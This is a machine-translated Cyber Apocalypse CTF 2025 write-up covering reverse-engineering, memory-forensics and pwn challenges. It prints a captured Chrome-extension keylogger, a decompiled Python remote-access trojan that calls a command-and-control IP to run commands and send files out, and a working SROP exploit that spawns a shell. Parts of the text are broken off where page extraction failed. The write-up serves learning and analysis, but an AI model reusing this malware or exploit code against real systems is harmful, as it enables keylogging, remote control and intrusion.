{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-cyber-apocalypse-2025-en","result":{"data":{"markdownRemark":{"id":"c700b293-2284-5a08-b6aa-a514b54b6a95","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I participated in Cyber Apocalypse CTF 2025 with 0nePadding.

\n

There were many interesting challenges, and I had a great time.

\n

I still have many challenges left to upsolve, but I will leave a brief writeup for now.

\n\n

Table of Contents

\n\n

EncryptedScroll(Rev)

\n
\n

Elowen Moonsong, an Elven mage of great wisdom, has discovered an ancient scroll rumored to contain the location of The Dragon’s Heart. However, the scroll is enchanted with an old magical cipher, preventing Elowen from reading it.

\n
\n

Decompiling the challenge binary reveals the following function.

\n

\n \n \n \n \n \n \n \n \n

\n

By decrypting the hardcoded characters with the following solver, I was able to obtain the Flag.

\n
enc = r\"IUC|t2nqm4`gm5h`5s2uin4u2d~\"\nflag = \"\"\nfor i in range(len(enc)):\n    flag += chr(ord(enc[i]) - 1)\n\nprint(flag)\n\n# HTB{s1mpl3_fl4g_4r1thm3t1c}
\n

SealedRune(Rev)

\n
\n

Elowen has reached the Ruins of Eldrath, where she finds a sealed rune stone glowing with ancient power. The rune is inscribed with a secret incantation that must be spoken to unlock the next step in her journey to find The Dragon’s Heart.

\n
\n

Decompiling the challenge binary reveals the following function.

\n

\n \n \n \n \n \n \n \n \n

\n

By Base64-decoding the hardcoded string and reversing it, I was able to obtain the Flag.

\n

\n \n \n \n \n \n \n \n \n

\n

Impossimaze(Rev)

\n
\n

Elowen has been cursed to roam forever in an inescapable maze. You need to break her curse and set her free.

\n
\n

Decompiling the challenge binary showed that it is a binary that performs window operations using ncurses.

\n

ncurses is a library with functionality like the following.

\n

\n \n \n \n \n \n \n \n \n

\n

\n \n \n \n \n \n \n \n \n

\n

Stealth Invasion(Forensic)

\n
\n

Selene’s normally secure laptop recently fell victim to a covert attack. Unbeknownst to her, a malicious Chrome extension was stealthily installed, masquerading as a useful productivity tool. Alarmed by unusual network activity, Selene is now racing against time to trace the intrusion, remove the malicious software, and bolster her digital defenses before more damage is done.

\n
\n

This challenge required analyzing the provided memory dump and identifying the following six Flags.

\n

\n \n \n \n \n \n \n \n \n

\n

The memory dump provided as the challenge file was an ELF-format file.

\n
readelf -a ELF memdump.elf
\n

\n \n \n \n \n \n \n \n \n

\n

Volatility can analyze VirtualBoxCoreDumpElf64 dumps directly.

\n
vol -f memdump.elf windows.info
\n

\n \n \n \n \n \n \n \n \n

\n

So first, I identified Chrome’s PID, which is the first Flag, with the following command.

\n
vol -f memdump.elf windows.cmdline.CmdLine
\n

\n \n \n \n \n \n \n \n \n

\n
# 1. What is the PID of the Original (First) Google Chrome process:\n4080\tchrome.exe\t\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\"\n\nIncidentally, when I tried to analyze this dump using the latest version of Volatility 3, it failed with an `_MM_SESSION_SPACE` error. That issue had already been fixed in the following PR, so reinstalling from the latest branch resolved it.\n\nReference: [Windows: Handle missing _MM_SESSION_SPACE by dgmcdona · Pull Request #1399 · volatilityfoundation/volatility3 · GitHub](https://github.com/volatilityfoundation/volatility3/pull/1399)\n\nThe next Flag can be obtained simply by using strings or by running the `vol -f memdump.elf windows.filescan` command.\n\n``` bash\n# 2. What is the only Folder on the Desktop\nmalext
\n

Next, searching the results of vol -f memdump.elf windows.filescan for extension-related entries lets you extract several extension IDs, and one of them turns out to be the Flag.

\n
# 3. What is the Extention's ID (ex: hlkenndednhfkekhgcdicdfddnkalmdm)\nnnjofihdjilebhiiemfmdlpbdkbjcpae
\n

\n \n \n \n \n \n \n \n \n

\n

From reading other writeups, it seems that because this extension was not downloaded from the store, it does not exist in the normal User Data/Default/Extensions folder and is instead placed under the local storage path User Data\\Default\\Local Extension Settings.

\n

As confirmed in the previous Flag, the suspicious extension’s code appeared to be placed in malext on the Desktop.

\n

\n \n \n \n \n \n \n \n \n

\n

So I extracted the extension code with the following commands.

\n
vol -o /tmp -f memdump.elf windows.dumpfiles.DumpFiles --virtaddr 0xa708c8d9ec30\nvol -o /tmp -f memdump.elf windows.dumpfiles.DumpFiles --virtaddr 0xa708c8da1e30
\n

Reading this code shows that the logs were probably stored in chrome.storage.local.

\n
var conn = chrome.runtime.connect({ name: \"conn\" });\n\nchrome.runtime.sendMessage('update');\n\n(async () => {\n    const response = await chrome.runtime.sendMessage({ check: \"replace_html\" });\n    console.log(response)\n})();\n\nchrome.runtime.sendMessage('replace_html', (response) => {\n    conn.postMessage({ \"type\": \"check\", \"data\": \"replace_html\" });\n});\n\ndocument.addEventListener(\"keydown\", (event) => {\n    const key = event.key;\n    conn.postMessage({ \"type\": \"key\", \"data\": key });\n    return true;\n});\n\n\ndocument.addEventListener(\"paste\", (event) => {\n    let paste = event.clipboardData.getData(\"text/plain\");\n    conn.postMessage({ \"type\": \"paste\", \"data\": paste });\n    return true;\n});\n\n\nfunction addLog(s) {\n    \n    if (s.length != 1 && s !== \"Enter\" && !s.startsWith(\"PASTE\"))  {\n        s = `|${s}|`;\n    } else if (s === \"Enter\" || s.startsWith(\"PASTE\")) {\n        s = s + \"\\r\\n\";\n    }\n\n    chrome.storage.local.get([\"log\"]).then((data) => {\n        if (!data.log) {\n            data.log = \"\";\n        }\n\n        data.log += s;\n\n        chrome.storage.local.set({ 'log': data.log });\n    });\n}\n\n\nchrome.runtime.onConnect.addListener((port) => {\n\n    console.assert(port.name === \"conn\");\n    console.log(\"v1.2.1\");\n\n    port.onMessage.addListener( ({ type, data }) => {\n        if (type === 'key') {\n            addLog(data);\n        } else if (type == 'paste') {\n            addLog('PASTE:' + data);\n        }\n    });\n});\n\nchrome.runtime.onMessage.addListener(\n    function(request, sender, sendResponse) {\n        if (request.check === \"replace_html\" && chrome.storage.local.get(\"replace_html\")) {\n            sendResponse({ url: chrome.storage.local.get('replace_html_url')});\n        }\n    }\n);
\n

So, by searching the file list again for files under C:\\\\Users\\selene\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\nnjofihdjilebhiiemfmdlpbdkbjcpae, I was able to identify the Flag.

\n
# 4. After examining the malicious extention's code, what is the log filename in which the datais stored\n000003.log
\n

Next, dumping this log file let me determine that the next Flag was drive.google.com.

\n

\n \n \n \n \n \n \n \n \n

\n
# 5. What is the URL the user navigated to\ndrive.google.com
\n

By continuing to read the same log, I was also able to determine the final Flag.

\n

\n \n \n \n \n \n \n \n \n

\n

From the IP and path information at this point, I was able to identify the first two Flags.

\n
# 1. What is the IP address responsible for compromising the website?\n194.59.6.66\n\n# 2. What is the name of the endpoint exploited by the attacker?\nexecute
\n

Looking at the exploit code executed here, I found that it loads and executes bytecode by passing data decompressed with bz2.decompress into marshal.loads.

\n

So, in order to disassemble this code with dis, I ran the following script using Python 3.13.

\n

To load executable code with marshal.loads, you need to match the Python version to the bytecode being loaded.

\n

With the default-installed Python 3.10 and Python 3.12, it failed partway through with an error, and I could not load the full code.

\n
sudo add-apt-repository ppa:deadsnakes/ppa\nsudo apt install python3.13-full\npython3.13 -m ensurepip --upgrade
\n
import marshal\nimport bz2\nimport dis\n\npayload = (b\"<payload>\")\npayload = payload.decode('unicode_escape').encode('latin1')\n\ndec = bz2.decompress(payload)\nprint(dec)\n\n# marshal.loads を行うためには Python のバージョンを合わせる必要がある\ncode_obj = marshal.loads(dec)\nprint(code_obj)\n\ndis.dis(code_obj)
\n

Disassembling the executed code with the script above let me identify the third Flag as Py-Fuscate.

\n
# 3. What is the name of the obfuscation tool used by the attacker?\nPy-Fuscate
\n

Furthermore, based on the following result obtained by having OpenAI decompile the disassembled bytecode, I was also able to recover the fourth Flag, the IP, and the fifth Flag, the key, from the packet capture.

\n
import os\nimport socket\nimport threading\nimport time\nimport random\nimport string\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad, unpad\n\nBUFFER_SIZE = 4096\nSEPARATOR = \"<SEPARATOR>\"\nCONN = True\n\n# AES暗号化関数\ndef enc_mes(mes, key):\n    cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())\n    cypher_block = 16\n    if type(mes) != bytes:\n        mes = mes.encode()\n    return cypher.encrypt(pad(mes, cypher_block))\n\n# AES復号化関数\ndef dec_mes(mes, key):\n    if mes == b'':\n        return mes\n    cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())\n    cypher_block = 16\n    return unpad(cypher.decrypt(mes), cypher_block)\n\n# ファイルを受信する関数\ndef receive_file():\n    client2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    client2.connect(('13.61.7.218', 54163))\n\n    k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))\n    client2.send(k.encode())\n\n    enc_received = client2.recv(BUFFER_SIZE)\n    received = dec_mes(enc_received, k).decode()\n\n    filename, filesize = received.split(SEPARATOR)\n\n    ok_enc = enc_mes('ok2', k)\n    client2.send(ok_enc)\n\n    total_bytes = 0\n    msg = b''\n\n    while total_bytes < int(filesize):\n        bytes_read = client2.recv(BUFFER_SIZE)\n        msg += bytes_read\n        total_bytes += len(bytes_read)\n\n    decr_file = dec_mes(msg, k)\n\n    with open(filename, 'wb') as f:\n        f.write(decr_file)\n\n    client2.close()\n\n# 攻撃者からの命令を待つメイン関数\ndef receive(client, k):\n    while True:\n        msg = client.recv(1024)\n        msg = dec_mes(msg, k)\n        message = msg.decode()\n\n        if msg == b'':\n            time.sleep(10)\n            continue\n\n        if message == \"check\":\n            enc_answ = enc_mes(\"check-ok\", k)\n            client.send(enc_answ)\n\n        elif message == \"send_file\":\n            threading.Thread(target=receive_file).start()\n\n        elif message == \"get_file\":\n            okenc = enc_mes(\"ok\", k)\n            client.send(okenc)\n\n            path_to_file = dec_mes(client.recv(1024), k)\n\n            with open(path_to_file, 'rb') as f:\n                bytes_read = f.read()\n\n            bytes_enc = enc_mes(bytes_read, k)\n            filesize = enc_mes(str(len(bytes_enc)), k)\n\n            client.send(filesize)\n            vsb = dec_mes(client.recv(1024), k)\n            client.sendall(bytes_enc)\n\n        elif message not in (None, '', '\\n'):\n            answer = os.popen(message).read()\n\n            if answer.encode() == b'':\n                client.send(\"Bad command!\".encode(\"ascii\"))\n                continue\n\n            enc_answer = enc_mes(answer, k)\n            size = str(len(enc_answer))\n\n            client.send(size.encode())\n\n            ch = client.recv(1024).decode()\n            if ch == 'ok':\n                client.sendall(enc_answer)\n\n# メイン処理\nif __name__ == \"__main__\":\n    while True:\n        try:\n            client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            client.connect(('13.61.7.218', 55155))\n\n            user = os.popen('whoami').read()\n            k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))\n\n            client.send(f\"{user}{SEPARATOR}{k}\".encode())\n            client.settimeout(600)\n\n            receive_thread = threading.Thread(target=receive, args=(client, k))\n            receive_thread.start()\n\n        except:\n            time.sleep(50)
\n
# 4. What is the IP address and port used by the malware to establish a connection with the Command and Control (C2) server?\n13.61.7.218\n\n# 5. What encryption key did the attacker use to secure the data?\n5UUfizsRsP7oOCAq
\n

Finally, I decrypted the byte data extracted from the packet capture using this key.

\n

\n \n \n \n \n \n \n \n \n

\n

In the end, by obtaining the hash of the PDF file decrypted with the following code, I was able to collect all the Flags.

\n
with open(\"download.dat\", \"rb\") as f:\n    data = f.read()\n\nkey = \"5UUfizsRsP7oOCAq\"\n\nwith open(\"ans\", \"wb\") as f:\n    f.write(dec_mes(data,key))\n    # 8fde053c8e79cf7e03599d559f90b321
\n
# 6, What is the MD5 hash of the file exfiltrated by the attacker?\n8fde053c8e79cf7e03599d559f90b321
\n

Blessing(Pwn)

\n
\n

In the realm of Eldoria, where warriors roam, the Dragon’s Heart they seek, from bytes to byte’s home. Through exploits and tricks, they boldly dare, to conquer Eldoria, with skill and flair.

\n
\n

Analyzing the ELF file provided as the challenge binary showed that the following function was implemented.

\n

Looking at this code, you can see that if you can overwrite the first value of the heap allocated by malloc(0x30000) from 1 to 0, you can obtain the Flag.

\n

\n \n \n \n \n \n \n \n \n

\n

Laconic(Pwn)

\n
\n

Sir Alaric’s struggles have plunged him into a deep and overwhelming sadness, leaving him unwilling to speak to anyone. Can you find a way to lift his spirits and bring back his courage?

\n
\n

Analyzing the provided file showed that it was a tiny shellcode-style binary like the following.

\n

\n \n \n \n \n \n \n \n \n

\n

Also, no security mitigations were enabled in particular.

\n

\n \n \n \n \n \n \n \n \n

\n

This time, because rax and rsi can be controlled arbitrarily, it looked possible to obtain a shell using rt_sigreturn with Sigreturn Oriented Programming. (I did not know it before, but apparently this is a classic technique.)

\n

Reference: Pwn - Sigreturn Oriented Programming (SROP) Technique | Aynakeya’s Blog

\n

Reference: Trying ASLR+DEP+RELRO bypass via Sigreturn Oriented Programming on x64 - Momoiro Technology

\n

\n \n , \"Ubuntu\", \"bash\", \"-c\"]\n\n# Set gdb script\ngdbscript = f\"\"\"\nb *0x43017\ncontinue\n\"\"\"\n\n# Set target\nTARGET_PATH = \"./laconic\"\nexe = ELF(TARGET_PATH)\n\n# Run program\nis_gdb = True\nis_gdb = False\nif is_gdb:\n target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)\nelse:\n # target = process(TARGET_PATH)\n target = remote(\"83.136.253.184\", 51762, ssl=False)\n\n# Exploit\nbinsh = 0x43238\nframe = SigreturnFrame()\nframe.rax = 0x3b # syscall number for execve\nframe.rdi = binsh # pointer to /bin/sh\nframe.rsi = 0x0 # NULL\nframe.rdx = 0x0 # NULL\nframe.rip = 0x43015 # ROP syscall\n\npayload = flat(\n b\"\\x00\"*8,\n 0x43018, # pop rax ; ret\n 0xf, # rt_sigreturn\n 0x43015, # ROP syscall\n frame # SigreturnFrame\n)\ntarget.send(payload)\n\n# Finish exploit\ntarget.interactive()\ntarget.clean()\n

Summary

\n

HTB’s CTF had many interesting and educational challenges.

\n

I still have not finished reviewing the Hard challenges, so I plan to do the upsolve in a separate article.

","fields":{"slug":"/ctf-cyber-apocalypse-2025-en","tagSlugs":["/tag/rev-en/","/tag/pwn-en/","/tag/forensic-en/","/tag/english/"]},"frontmatter":{"date":"2025-03-28","description":"Cyber Apocalypse CTF 2025 Writeup","tags":["Rev (en)","Pwn (en)","Forensic (en)","English"],"title":"Cyber Apocalypse CTF 2025 Writeup","socialImage":{"publicURL":"/static/0b5efa022bd86cd055fd0688f9e8e95a/ctf-cyber-apocalypse-2025.png"}}}},"pageContext":{"slug":"/ctf-cyber-apocalypse-2025-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}